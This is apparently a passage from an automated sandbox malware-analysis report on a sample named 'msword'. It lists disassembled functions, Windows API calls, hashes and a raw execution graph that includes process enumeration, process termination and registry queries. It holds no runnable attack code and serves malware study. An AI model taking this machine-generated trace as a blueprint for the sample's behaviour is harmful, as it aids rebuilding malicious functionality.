                                    • Part of subcall function 00406113: CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,00406300,00000000), ref: 0040612A
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: CloseHandlelstrlenwvsprintf
                                  • String ID: RMDir: RemoveDirectory invalid input("")
                                  • API String ID: 3509786178-2769509956
                                  • Opcode ID: db8d081d013b9790c932ab277b4a3a99312fd955ab88a80e97be1a4fe9473cae
                                  • Instruction ID: 2c5812d3804eb93f93713fa8b891b4ce654538dc852139f9e16b4ff69120e8c2
                                  • Opcode Fuzzy Hash: db8d081d013b9790c932ab277b4a3a99312fd955ab88a80e97be1a4fe9473cae
                                  • Instruction Fuzzy Hash: 93D05E34A50206BADA009FE1FE29E597764AB84304F400869F005890B1EA74C4108B0E
                                  Function 00405DE2 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON
                                  Download Yara Rule
                                  APIs
                                  • lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BFF,00000000,[Rename]), ref: 00405DF2
                                  • lstrcmpiA.KERNEL32(?,?), ref: 00405E0A
                                  • CharNextA.USER32(?,?,00000000,00406BFF,00000000,[Rename]), ref: 00405E1B
                                  • lstrlenA.KERNEL32(?,?,00000000,00406BFF,00000000,[Rename]), ref: 00405E24
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: lstrlen$CharNextlstrcmpi
                                  • String ID:
                                  • API String ID: 190613189-0
                                  • Opcode ID: 6101864ab16567e6bb9a2a5d9c8424f3785a5e6dd51bc724eb4dc87483e37eb4
                                  • Instruction ID: 6c750b41c95b6ea6b2c0dd9449a28e86abc919c298eb75f697d1220529daba74
                                  • Opcode Fuzzy Hash: 6101864ab16567e6bb9a2a5d9c8424f3785a5e6dd51bc724eb4dc87483e37eb4
                                  • Instruction Fuzzy Hash: 95F0CD31205558FFCB019FA9DC0499FBBA8EF5A350B2544AAE840E7321D234DE019BA4

                                  Execution Graph

                                  Execution Coverage:2.9%
                                  Dynamic/Decrypted Code Coverage:0%
                                  Signature Coverage:3.7%
                                  Total number of Nodes:2000
                                  Total number of Limit Nodes:66
                                  execution_graph 103330 b31033 103335 b368b4 103330->103335 103334 b31042 103343 b3bf73 103335->103343 103340 b369bf 103341 b31038 103340->103341 103351 b36b14 22 API calls __fread_nolock 103340->103351 103342 b50413 29 API calls __onexit 103341->103342 103342->103334 103352 b5017b 103343->103352 103345 b3bf88 103362 b5014b 103345->103362 103347 b36922 103348 b3589f 103347->103348 103387 b358cb 103348->103387 103351->103340 103354 b5014b 103352->103354 103355 b5016a 103354->103355 103357 b5016c 103354->103357 103372 b5ed7c 103354->103372 103379 b5521d 7 API calls 2 library calls 103354->103379 103355->103345 103361 b509dd 103357->103361 103380 b53614 RaiseException 103357->103380 103360 b509fa 103360->103345 103381 b53614 RaiseException 103361->103381 103364 b50150 103362->103364 103363 b5ed7c ___std_exception_copy 21 API calls 103363->103364 103364->103363 103365 b5016a 103364->103365 103368 b5016c 103364->103368 103384 b5521d 7 API calls 2 library calls 103364->103384 103365->103347 103367 b509dd 103386 b53614 RaiseException 103367->103386 103368->103367 103385 b53614 RaiseException 103368->103385 103371 b509fa 103371->103347 103377 b63b93 __dosmaperr 103372->103377 103373 b63bd1 103383 b5f649 20 API calls __dosmaperr 103373->103383 103374 b63bbc RtlAllocateHeap 103376 b63bcf 103374->103376 103374->103377 103376->103354 103377->103373 103377->103374 103382 b5521d 7 API calls 2 library calls 103377->103382 103379->103354 103380->103361 103381->103360 103382->103377 103383->103376 103384->103364 103385->103367 103386->103371 103388 b358be 103387->103388 103389 b358d8 103387->103389 103388->103340 103389->103388 103390 b358df RegOpenKeyExW 103389->103390 103390->103388 103391 b358f9 RegQueryValueExW 103390->103391 103392 b3592f RegCloseKey 103391->103392 103393 b3591a 103391->103393 103392->103388 103393->103392 103394 b336f5 103397 b3370f 103394->103397 103398 b33726 103397->103398 103399 b33788 103398->103399 103400 b3372b 103398->103400 103401 b3378a 103398->103401 103402 b3376f DefWindowProcW 103399->103402 103405 b33804 PostQuitMessage 103400->103405 103406 b33738 103400->103406 103403 b73df4 103401->103403 103404 b33790 103401->103404 103407 b33709 103402->103407 103450 b32f92 10 API calls 103403->103450 103408 b33797 103404->103408 103409 b337bc SetTimer RegisterWindowMessageW 103404->103409 103405->103407 103410 b33743 103406->103410 103411 b73e61 103406->103411 103413 b73d95 103408->103413 103414 b337a0 KillTimer 103408->103414 103409->103407 103415 b337e5 CreatePopupMenu 103409->103415 103416 b3380e 103410->103416 103417 b3374d 103410->103417 103463 b9c8f7 66 API calls ___scrt_fastfail 103411->103463 103421 b73dd0 MoveWindow 103413->103421 103422 b73d9a 103413->103422 103442 b33907 103414->103442 103415->103407 103448 b4fcad 59 API calls ___scrt_fastfail 103416->103448 103424 b73e46 103417->103424 103425 b33758 103417->103425 103419 b73e15 103451 b4f23c 41 API calls 103419->103451 103421->103407 103430 b73da0 103422->103430 103431 b73dbf SetFocus 103422->103431 103424->103402 103462 b91423 22 API calls 103424->103462 103428 b33763 103425->103428 103433 b337f2 103425->103433 103426 b73e73 103426->103402 103426->103407 103428->103402 103439 b33907 Shell_NotifyIconW 103428->103439 103429 b33802 103429->103407 103430->103428 103434 b73da9 103430->103434 103431->103407 103447 b3381f 76 API calls ___scrt_fastfail 103433->103447 103449 b32f92 10 API calls 103434->103449 103440 b73e3a 103439->103440 103452 b3396b 103440->103452 103443 b337b3 103442->103443 103444 b33919 ___scrt_fastfail 103442->103444 103446 b359ff DeleteObject DestroyWindow 103443->103446 103445 b33938 Shell_NotifyIconW 103444->103445 103445->103443 103446->103407 103447->103429 103448->103429 103449->103407 103450->103419 103451->103428 103453 b33996 ___scrt_fastfail 103452->103453 103464 b35f32 103453->103464 103456 b33a1c 103458 b33a3a Shell_NotifyIconW 103456->103458 103459 b740cd Shell_NotifyIconW 103456->103459 103468 b361a9 103458->103468 103461 b33a50 103461->103399 103462->103399 103463->103426 103465 b339eb 103464->103465 103466 b35f4e 103464->103466 103465->103456 103498 b9d11f 42 API calls _strftime 103465->103498 103466->103465 103467 b75070 DestroyIcon 103466->103467 103467->103465 103469 b361c6 103468->103469 103470 b362a8 103468->103470 103499 b37ad5 103469->103499 103470->103461 103473 b361e1 103504 b38577 103473->103504 103474 b75278 LoadStringW 103476 b75292 103474->103476 103484 b36229 ___scrt_fastfail 103476->103484 103526 b3bed9 103476->103526 103477 b361f6 103478 b36203 103477->103478 103485 b752ae 103477->103485 103478->103476 103479 b3620d 103478->103479 103516 b36b7c 103479->103516 103487 b3628e Shell_NotifyIconW 103484->103487 103485->103484 103486 b752f1 103485->103486 103488 b3bf73 22 API calls 103485->103488 103532 b4fe6f 51 API calls 103486->103532 103487->103470 103489 b752d8 103488->103489 103530 b9a350 23 API calls 103489->103530 103492 b75310 103494 b36b7c 22 API calls 103492->103494 103493 b752e3 103531 b37bb5 22 API calls 103493->103531 103496 b75321 103494->103496 103497 b36b7c 22 API calls 103496->103497 103497->103484 103498->103456 103500 b5017b 22 API calls 103499->103500 103501 b37afa 103500->103501 103502 b5014b 22 API calls 103501->103502 103503 b361d4 103502->103503 103503->103473 103503->103474 103505 b38587 _wcslen 103504->103505 103506 b76610 103504->103506 103509 b385c2 103505->103509 103510 b3859d 103505->103510 103534 b3adf4 103506->103534 103508 b76619 103508->103508 103511 b5014b 22 API calls 103509->103511 103533 b388e8 22 API calls 103510->103533 103513 b385ce 103511->103513 103515 b5017b 22 API calls 103513->103515 103514 b385a5 __fread_nolock 103514->103477 103515->103514 103517 b36b93 103516->103517 103518 b757fe 103516->103518 103544 b36ba4 103517->103544 103520 b5014b 22 API calls 103518->103520 103522 b75808 _wcslen 103520->103522 103521 b3621b 103525 b37bb5 22 API calls 103521->103525 103523 b5017b 22 API calls 103522->103523 103524 b75841 __fread_nolock 103523->103524 103525->103484 103527 b3befc __fread_nolock 103526->103527 103528 b3beed 103526->103528 103527->103484 103528->103527 103529 b5017b 22 API calls 103528->103529 103529->103527 103530->103493 103531->103486 103532->103492 103533->103514 103535 b3ae02 103534->103535 103536 b3ae0b __fread_nolock 103534->103536 103535->103536 103538 b3c2c9 103535->103538 103536->103508 103536->103536 103539 b3c2d9 __fread_nolock 103538->103539 103540 b3c2dc 103538->103540 103539->103536 103541 b5014b 22 API calls 103540->103541 103542 b3c2e7 103541->103542 103543 b5017b 22 API calls 103542->103543 103543->103539 103545 b36bb4 _wcslen 103544->103545 103546 b36bc7 103545->103546 103547 b75860 103545->103547 103554 b37d74 103546->103554 103549 b5014b 22 API calls 103547->103549 103551 b7586a 103549->103551 103550 b36bd4 __fread_nolock 103550->103521 103552 b5017b 22 API calls 103551->103552 103553 b7589a __fread_nolock 103552->103553 103555 b37d8a 103554->103555 103558 b37d85 __fread_nolock 103554->103558 103556 b5017b 22 API calls 103555->103556 103557 b76528 103555->103557 103556->103558 103558->103550 103559 b3105b 103564 b352a7 103559->103564 103561 b3106a 103595 b50413 29 API calls __onexit 103561->103595 103563 b31074 103565 b352b7 __wsopen_s 103564->103565 103566 b3bf73 22 API calls 103565->103566 103567 b3536d 103566->103567 103596 b35594 103567->103596 103569 b35376 103603 b35238 103569->103603 103572 b36b7c 22 API calls 103573 b3538f 103572->103573 103609 b36a7c 103573->103609 103576 b3bf73 22 API calls 103577 b353a7 103576->103577 103615 b3bd57 103577->103615 103580 b74be6 RegQueryValueExW 103581 b74c03 103580->103581 103582 b74c7c RegCloseKey 103580->103582 103583 b5017b 22 API calls 103581->103583 103584 b353d2 103582->103584 103593 b74c8e _wcslen 103582->103593 103585 b74c1c 103583->103585 103584->103561 103621 b3423c 103585->103621 103588 b74c44 103589 b38577 22 API calls 103588->103589 103590 b74c5e ISource 103589->103590 103590->103582 103592 b36a7c 22 API calls 103592->103593 103593->103584 103593->103592 103594 b3655e 22 API calls 103593->103594 103624 b3b329 103593->103624 103594->103593 103595->103563 103630 b722d0 103596->103630 103599 b3b329 22 API calls 103600 b355c7 103599->103600 103632 b35851 103600->103632 103602 b355d1 103602->103569 103604 b722d0 __wsopen_s 103603->103604 103605 b35245 GetFullPathNameW 103604->103605 103606 b35267 103605->103606 103607 b38577 22 API calls 103606->103607 103608 b35285 103607->103608 103608->103572 103610 b36a8b 103609->103610 103614 b36aac __fread_nolock 103609->103614 103612 b5017b 22 API calls 103610->103612 103611 b5014b 22 API calls 103613 b3539e 103611->103613 103612->103614 103613->103576 103614->103611 103616 b3bd71 103615->103616 103617 b353b0 RegOpenKeyExW 103615->103617 103618 b5014b 22 API calls 103616->103618 103617->103580 103617->103584 103619 b3bd7b 103618->103619 103620 b5017b 22 API calls 103619->103620 103620->103617 103622 b5014b 22 API calls 103621->103622 103623 b3424e RegQueryValueExW 103622->103623 103623->103588 103623->103590 103625 b3b338 _wcslen 103624->103625 103626 b5017b 22 API calls 103625->103626 103627 b3b360 __fread_nolock 103626->103627 103628 b5014b 22 API calls 103627->103628 103629 b3b376 103628->103629 103629->103593 103631 b355a1 GetModuleFileNameW 103630->103631 103631->103599 103633 b722d0 __wsopen_s 103632->103633 103634 b3585e GetFullPathNameW 103633->103634 103635 b35898 103634->103635 103636 b3587d 103634->103636 103638 b3bd57 22 API calls 103635->103638 103637 b38577 22 API calls 103636->103637 103639 b35889 103637->103639 103638->103639 103642 b355dc 103639->103642 103643 b355ea 103642->103643 103644 b3adf4 22 API calls 103643->103644 103645 b355fe 103644->103645 103645->103602 103646 b85650 103655 b4e3d5 103646->103655 103648 b85666 103650 b856e1 103648->103650 103664 b4aa65 23 API calls 103648->103664 103654 b861d7 103650->103654 103666 ba3fe1 82 API calls __wsopen_s 103650->103666 103652 b856c1 103652->103650 103665 ba247e 22 API calls 103652->103665 103656 b4e3f6 103655->103656 103657 b4e3e3 103655->103657 103659 b4e429 103656->103659 103660 b4e3fb 103656->103660 103667 b3b4c8 22 API calls 103657->103667 103668 b3b4c8 22 API calls 103659->103668 103661 b5014b 22 API calls 103660->103661 103663 b4e3ed 103661->103663 103663->103648 103664->103652 103665->103650 103666->103654 103667->103663 103668->103663 103669 b40ebf 103670 b40ed3 103669->103670 103675 b41425 103669->103675 103671 b40ee5 103670->103671 103672 b5014b 22 API calls 103670->103672 103673 b8562c 103671->103673 103676 b40f3e 103671->103676 103757 b3b4c8 22 API calls 103671->103757 103672->103671 103758 ba1b14 22 API calls 103673->103758 103675->103671 103679 b3bed9 22 API calls 103675->103679 103694 b4049d ISource 103676->103694 103702 b42b20 103676->103702 103679->103671 103680 b8632b 103762 ba3fe1 82 API calls __wsopen_s 103680->103762 103682 b41695 103687 b3bed9 22 API calls 103682->103687 103682->103694 103684 b85cdb 103691 b3bed9 22 API calls 103684->103691 103684->103694 103685 b8625a 103761 ba3fe1 82 API calls __wsopen_s 103685->103761 103686 b3bed9 22 API calls 103701 b40376 ISource 103686->103701 103687->103694 103691->103694 103692 b505b2 EnterCriticalSection LeaveCriticalSection LeaveCriticalSection WaitForSingleObjectEx EnterCriticalSection 103692->103701 103693 b3bf73 22 API calls 103693->103701 103695 b86115 103759 ba3fe1 82 API calls __wsopen_s 103695->103759 103697 b50568 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent __Init_thread_footer 103697->103701 103698 b5014b 22 API calls 103698->103701 103699 b50413 29 API calls pre_c_initialization 103699->103701 103700 b40aae ISource 103760 ba3fe1 82 API calls __wsopen_s 103700->103760 103701->103680 103701->103682 103701->103684 103701->103685 103701->103686 103701->103692 103701->103693 103701->103694 103701->103695 103701->103697 103701->103698 103701->103699 103701->103700 103755 b41990 190 API calls 2 library calls 103701->103755 103756 b41e50 41 API calls ISource 103701->103756 103703 b42b61 103702->103703 103704 b42b86 103703->103704 103705 b42fc0 103703->103705 103706 b87bd8 103704->103706 103707 b42ba0 103704->103707 103860 b505b2 5 API calls __Init_thread_wait 103705->103860 103823 bb7af9 103706->103823 103763 b43160 103707->103763 103709 b42fca 103714 b3b329 22 API calls 103709->103714 103720 b4300b 103709->103720 103712 b87be4 103712->103701 103724 b42fe4 103714->103724 103715 b43160 9 API calls 103716 b42bc6 103715->103716 103717 b42bfc 103716->103717 103716->103720 103719 b87bfd 103717->103719 103733 b42c18 __fread_nolock 103717->103733 103718 b87bed 103718->103701 103865 ba3fe1 82 API calls __wsopen_s 103719->103865 103720->103718 103862 b3b4c8 22 API calls 103720->103862 103723 b43049 103863 b4e6e8 190 API calls 103723->103863 103861 b50568 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 103724->103861 103727 b87c15 103866 ba3fe1 82 API calls __wsopen_s 103727->103866 103729 b87c78 103868 bb61a2 54 API calls _wcslen 103729->103868 103730 b42d4c 103731 b43160 9 API calls 103730->103731 103734 b42d59 103731->103734 103733->103723 103733->103727 103735 b5014b 22 API calls 103733->103735 103737 b5017b 22 API calls 103733->103737 103744 b42d3f 103733->103744 103745 b87c59 103733->103745 103751 b42dd7 ISource 103733->103751 103773 b40340 103733->103773 103739 b43160 9 API calls 103734->103739 103734->103751 103735->103733 103736 b42d73 103750 b3bed9 22 API calls 103736->103750 103736->103751 103737->103733 103738 b43082 103864 b4fe39 22 API calls 103738->103864 103739->103736 103741 b42f2d 103741->103701 103744->103729 103744->103730 103867 ba3fe1 82 API calls __wsopen_s 103745->103867 103746 b43160 9 API calls 103746->103751 103749 b42e8b ISource 103749->103741 103859 b4e322 22 API calls ISource 103749->103859 103750->103751 103751->103738 103751->103746 103751->103749 103796 b4ac3e 103751->103796 103815 bb9fe8 103751->103815 103818 bbad47 103751->103818 103869 ba3fe1 82 API calls __wsopen_s 103751->103869 103755->103701 103756->103701 103757->103671 103758->103694 103759->103700 103760->103694 103761->103694 103762->103694 103764 b431a1 103763->103764 103768 b4317d 103763->103768 103870 b505b2 5 API calls __Init_thread_wait 103764->103870 103767 b49f47 103772 b42bb0 103767->103772 103873 b50568 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 103767->103873 103768->103772 103872 b505b2 5 API calls __Init_thread_wait 103768->103872 103769 b431ab 103769->103768 103871 b50568 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 103769->103871 103772->103715 103776 b40376 ISource 103773->103776 103774 b505b2 EnterCriticalSection LeaveCriticalSection LeaveCriticalSection WaitForSingleObjectEx EnterCriticalSection 103774->103776 103775 b5014b 22 API calls 103775->103776 103776->103774 103776->103775 103777 b8632b 103776->103777 103779 b41695 103776->103779 103780 b4049d ISource 103776->103780 103782 b85cdb 103776->103782 103783 b8625a 103776->103783 103787 b3bed9 22 API calls 103776->103787 103790 b3bf73 22 API calls 103776->103790 103791 b50413 29 API calls pre_c_initialization 103776->103791 103792 b86115 103776->103792 103793 b40aae ISource 103776->103793 103794 b50568 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent __Init_thread_footer 103776->103794 103874 b41990 190 API calls 2 library calls 103776->103874 103875 b41e50 41 API calls ISource 103776->103875 103879 ba3fe1 82 API calls __wsopen_s 103777->103879 103779->103780 103784 b3bed9 22 API calls 103779->103784 103780->103733 103782->103780 103789 b3bed9 22 API calls 103782->103789 103878 ba3fe1 82 API calls __wsopen_s 103783->103878 103784->103780 103787->103776 103789->103780 103790->103776 103791->103776 103876 ba3fe1 82 API calls __wsopen_s 103792->103876 103877 ba3fe1 82 API calls __wsopen_s 103793->103877 103794->103776 103880 b38ec0 103796->103880 103800 b4ac7f 103811 b4b09b _wcslen 103800->103811 103908 b3c98d 39 API calls 103800->103908 103803 b37ad5 22 API calls 103803->103811 103804 b36c03 22 API calls 103804->103811 103806 b4bbbe 43 API calls 103806->103811 103808 b4b1fb 103808->103751 103809 b3c98d 39 API calls 103809->103811 103810 b38ec0 53 API calls 103810->103811 103811->103803 103811->103804 103811->103806 103811->103808 103811->103809 103811->103810 103812 b38577 22 API calls 103811->103812 103813 b3396b 61 API calls 103811->103813 103814 b33907 Shell_NotifyIconW 103811->103814 103909 b54d98 103811->103909 103919 b3ad40 22 API calls __fread_nolock 103811->103919 103920 b37b1a 22 API calls 103811->103920 103812->103811 103813->103811 103814->103811 103928 bb89b6 103815->103928 103817 bb9ff8 103817->103751 103819 b38ec0 53 API calls 103818->103819 103820 bbad63 103819->103820 104047 b9dd87 CreateToolhelp32Snapshot Process32FirstW 103820->104047 103822 bbad72 103822->103751 103824 bb7b38 103823->103824 103825 bb7b52 103823->103825 104079 ba3fe1 82 API calls __wsopen_s 103824->104079 104068 bb60e6 103825->104068 103829 b40340 189 API calls 103830 bb7bc1 103829->103830 103831 bb7c5c 103830->103831 103834 bb7b4a 103830->103834 103836 bb7c03 103830->103836 103832 bb7cb0 103831->103832 103833 bb7c62 103831->103833 103832->103834 103835 b38ec0 53 API calls 103832->103835 104080 ba1ad8 22 API calls 103833->104080 103834->103712 103837 bb7cc2 103835->103837 103839 ba148b 22 API calls 103836->103839 103840 b3c2c9 22 API calls 103837->103840 103842 bb7c3b 103839->103842 103843 bb7ce6 CharUpperBuffW 103840->103843 103841 bb7c85 104081 b3bd07 22 API calls 103841->104081 103845 b42b20 189 API calls 103842->103845 103846 bb7d00 103843->103846 103845->103834 103847 bb7d53 103846->103847 103848 bb7d07 103846->103848 103849 b38ec0 53 API calls 103847->103849 104075 ba148b 103848->104075 103850 bb7d5b 103849->103850 104082 b4aa65 23 API calls 103850->104082 103854 b42b20 189 API calls 103854->103834 103855 bb7d65 103855->103834 103856 b38ec0 53 API calls 103855->103856 103857 bb7d80 103856->103857 104083 b3bd07 22 API calls 103857->104083 103859->103749 103860->103709 103861->103720 103862->103723 103863->103738 103864->103738 103865->103751 103866->103751 103867->103751 103868->103736 103869->103751 103870->103769 103871->103768 103872->103767 103873->103772 103874->103776 103875->103776 103876->103793 103877->103780 103878->103780 103879->103780 103881 b38ed5 103880->103881 103896 b38ed2 103880->103896 103882 b38f0b 103881->103882 103883 b38edd 103881->103883 103884 b76b1f 103882->103884 103886 b38f1d 103882->103886 103887 b76a38 103882->103887 103921 b55536 26 API calls 103883->103921 103924 b554f3 26 API calls 103884->103924 103922 b4fe6f 51 API calls 103886->103922 103897 b5017b 22 API calls 103887->103897 103902 b76ab1 103887->103902 103888 b38eed 103893 b5014b 22 API calls 103888->103893 103890 b76b37 103890->103890 103894 b38ef7 103893->103894 103895 b3b329 22 API calls 103894->103895 103895->103896 103903 b4bc58 103896->103903 103898 b76a81 103897->103898 103899 b5014b 22 API calls 103898->103899 103900 b76aa8 103899->103900 103901 b3b329 22 API calls 103900->103901 103901->103902 103923 b4fe6f 51 API calls 103902->103923 103904 b5014b 22 API calls 103903->103904 103905 b4bc65 103904->103905 103906 b3b329 22 API calls 103905->103906 103907 b4bc70 103906->103907 103907->103800 103908->103811 103910 b54da6 103909->103910 103911 b54e1b 103909->103911 103918 b54dcb 103910->103918 103925 b5f649 20 API calls __dosmaperr 103910->103925 103927 b54e2d 40 API calls 4 library calls 103911->103927 103914 b54e28 103914->103811 103915 b54db2 103926 b62b5c 26 API calls __fread_nolock 103915->103926 103917 b54dbd 103917->103811 103918->103811 103919->103811 103920->103811 103921->103888 103922->103888 103923->103884 103924->103890 103925->103915 103926->103917 103927->103914 103929 b38ec0 53 API calls 103928->103929 103930 bb89ed 103929->103930 103932 bb8a32 ISource 103930->103932 103966 bb9730 103930->103966 103932->103817 103933 bb8eac 104017 bb9941 60 API calls 103933->104017 103935 bb8cec 103979 bb88e3 103935->103979 103937 bb8ebb 103937->103935 103938 bb8ec7 103937->103938 103938->103932 103939 b38ec0 53 API calls 103954 bb8aa6 103939->103954 103944 bb8d25 103994 b4ffe0 103944->103994 103947 bb8d5f 104002 b37e12 103947->104002 103948 bb8d45 104001 ba3fe1 82 API calls __wsopen_s 103948->104001 103951 bb8d50 GetCurrentProcess TerminateProcess 103951->103947 103952 bb8cde 103952->103933 103952->103935 103954->103932 103954->103939 103954->103952 103999 b94ad3 22 API calls __fread_nolock 103954->103999 104000 bb8f7a 42 API calls _strftime 103954->104000 103957 bb8f22 103957->103932 103961 bb8f36 FreeLibrary 103957->103961 103959 bb8d9e 104014 bb95d8 75 API calls 103959->104014 103961->103932 103964 bb8daf 103964->103957 104015 b41ca0 22 API calls 103964->104015 104016 b3b4c8 22 API calls 103964->104016 104018 bb95d8 75 API calls 103964->104018 103967 b3c2c9 22 API calls 103966->103967 103968 bb974b CharLowerBuffW 103967->103968 104019 b99805 103968->104019 103972 b3bf73 22 API calls 103973 bb9787 103972->103973 104026 b3acc0 22 API calls __fread_nolock 103973->104026 103975 bb979b 103976 b3adf4 22 API calls 103975->103976 103978 bb97a5 _wcslen 103976->103978 103977 bb98bb _wcslen 103977->103954 103978->103977 104027 bb8f7a 42 API calls _strftime 103978->104027 103980 bb88fe 103979->103980 103984 bb8949 103979->103984 103981 b5017b 22 API calls 103980->103981 103982 bb8920 103981->103982 103983 b5014b 22 API calls 103982->103983 103982->103984 103983->103982 103985 bb9af3 103984->103985 103986 bb9d08 ISource 103985->103986 103993 bb9b17 _strcat _wcslen 103985->103993 103986->103944 103987 b3c98d 39 API calls 103987->103993 103988 b3ca5b 39 API calls 103988->103993 103989 b3c63f 39 API calls 103989->103993 103990 b38ec0 53 API calls 103990->103993 103991 b5ed7c 21 API calls ___std_exception_copy 103991->103993 103993->103986 103993->103987 103993->103988 103993->103989 103993->103990 103993->103991 104030 b9f8c5 24 API calls _wcslen 103993->104030 103996 b4fff5 103994->103996 103995 b5008d CreateToolhelp32Snapshot 103997 b5005b 103995->103997 103996->103995 103996->103997 103998 b5007b CloseHandle 103996->103998 103997->103947 103997->103948 103998->103997 103999->103954 104000->103954 104001->103951 104003 b37e1a 104002->104003 104004 b5014b 22 API calls 104003->104004 104005 b37e28 104004->104005 104031 b38445 104005->104031 104008 b38470 104034 b3c760 104008->104034 104010 b5017b 22 API calls 104012 b3851c 104010->104012 104011 b38480 104011->104010 104011->104012 104012->103964 104013 b41ca0 22 API calls 104012->104013 104013->103959 104014->103964 104015->103964 104016->103964 104017->103937 104018->103964 104020 b99825 _wcslen 104019->104020 104021 b99914 104020->104021 104022 b99919 104020->104022 104023 b9985a 104020->104023 104021->103972 104021->103978 104022->104021 104029 b4e36b 41 API calls 104022->104029 104023->104021 104028 b4e36b 41 API calls 104023->104028 104026->103975 104027->103977 104028->104023 104029->104022 104030->103993 104032 b5014b 22 API calls 104031->104032 104033 b37e30 104032->104033 104033->104008 104035 b3c76b 104034->104035 104036 b81285 104035->104036 104040 b3c773 ISource 104035->104040 104038 b5014b 22 API calls 104036->104038 104037 b3c77a 104037->104011 104039 b81291 104038->104039 104040->104037 104042 b3c7e0 104040->104042 104043 b3c7eb ISource 104042->104043 104044 b3c826 ISource 104043->104044 104046 b4e322 22 API calls ISource 104043->104046 104044->104040 104046->104044 104057 b9e80e 104047->104057 104049 b9ddd4 Process32NextW 104050 b9de86 CloseHandle 104049->104050 104052 b9ddcd 104049->104052 104050->103822 104051 b3bf73 22 API calls 104051->104052 104052->104049 104052->104050 104052->104051 104053 b3b329 22 API calls 104052->104053 104063 b3568e 22 API calls 104052->104063 104064 b37bb5 22 API calls 104052->104064 104065 b4e36b 41 API calls 104052->104065 104053->104052 104061 b9e819 104057->104061 104058 b9e830 104067 b5666b 39 API calls _strftime 104058->104067 104061->104058 104062 b9e836 104061->104062 104066 b56722 GetStringTypeW _strftime 104061->104066 104062->104052 104063->104052 104064->104052 104065->104052 104066->104061 104067->104062 104069 bb6101 104068->104069 104074 bb614f 104068->104074 104070 b5017b 22 API calls 104069->104070 104072 bb6123 104070->104072 104071 b5014b 22 API calls 104071->104072 104072->104071 104072->104074 104084 ba1400 22 API calls 104072->104084 104074->103829 104076 ba1499 104075->104076 104078 ba14d2 104075->104078 104077 b5014b 22 API calls 104076->104077 104076->104078 104077->104078 104078->103854 104079->103834 104080->103841 104081->103834 104082->103855 104083->103834 104084->104072 104085 b31098 104090 b35fc8 104085->104090 104089 b310a7 104091 b3bf73 22 API calls 104090->104091 104092 b35fdf GetVersionExW 104091->104092 104093 b38577 22 API calls 104092->104093 104094 b3602c 104093->104094 104095 b3adf4 22 API calls 104094->104095 104098 b36062 104094->104098 104096 b36056 104095->104096 104097 b355dc 22 API calls 104096->104097 104097->104098 104099 b3611c GetCurrentProcess IsWow64Process 104098->104099 104103 b75224 104098->104103 104100 b36138 104099->104100 104101 b36150 LoadLibraryA 104100->104101 104102 b75269 GetSystemInfo 104100->104102 104104 b36161 GetProcAddress 104101->104104 104105 b3619d GetSystemInfo 104101->104105 104104->104105 104107 b36171 GetNativeSystemInfo 104104->104107 104106 b36177 104105->104106 104108 b3109d 104106->104108 104109 b3617b FreeLibrary 104106->104109 104107->104106 104110 b50413 29 API calls __onexit 104108->104110 104109->104108 104110->104089 104111 b415ff 104112 b4e3d5 22 API calls 104111->104112 104113 b41615 104112->104113 104118 b4e439 104113->104118 104115 b4163f 104130 ba3fe1 82 API calls __wsopen_s 104115->104130 104117 b86207 104119 b37ad5 22 API calls 104118->104119 104120 b4e470 104119->104120 104121 b3b329 22 API calls 104120->104121 104123 b4e4a1 104120->104123 104122 b8e53e 104121->104122 104131 b37bb5 22 API calls 104122->104131 104123->104115 104125 b8e549 104132 b4e7c1 40 API calls 104125->104132 104127 b8e55c 104129 b8e560 104127->104129 104133 b3b4c8 22 API calls 104127->104133 104129->104129 104130->104117 104131->104125 104132->104127 104133->104129 104134 b6947a 104135 b69487 104134->104135 104139 b6949f 104134->104139 104191 b5f649 20 API calls __dosmaperr 104135->104191 104137 b6948c 104192 b62b5c 26 API calls __fread_nolock 104137->104192 104140 b694fa 104139->104140 104148 b69497 104139->104148 104193 b70144 21 API calls 2 library calls 104139->104193 104154 b5dcc5 104140->104154 104143 b69512 104161 b68fb2 104143->104161 104145 b69519 104146 b5dcc5 __fread_nolock 26 API 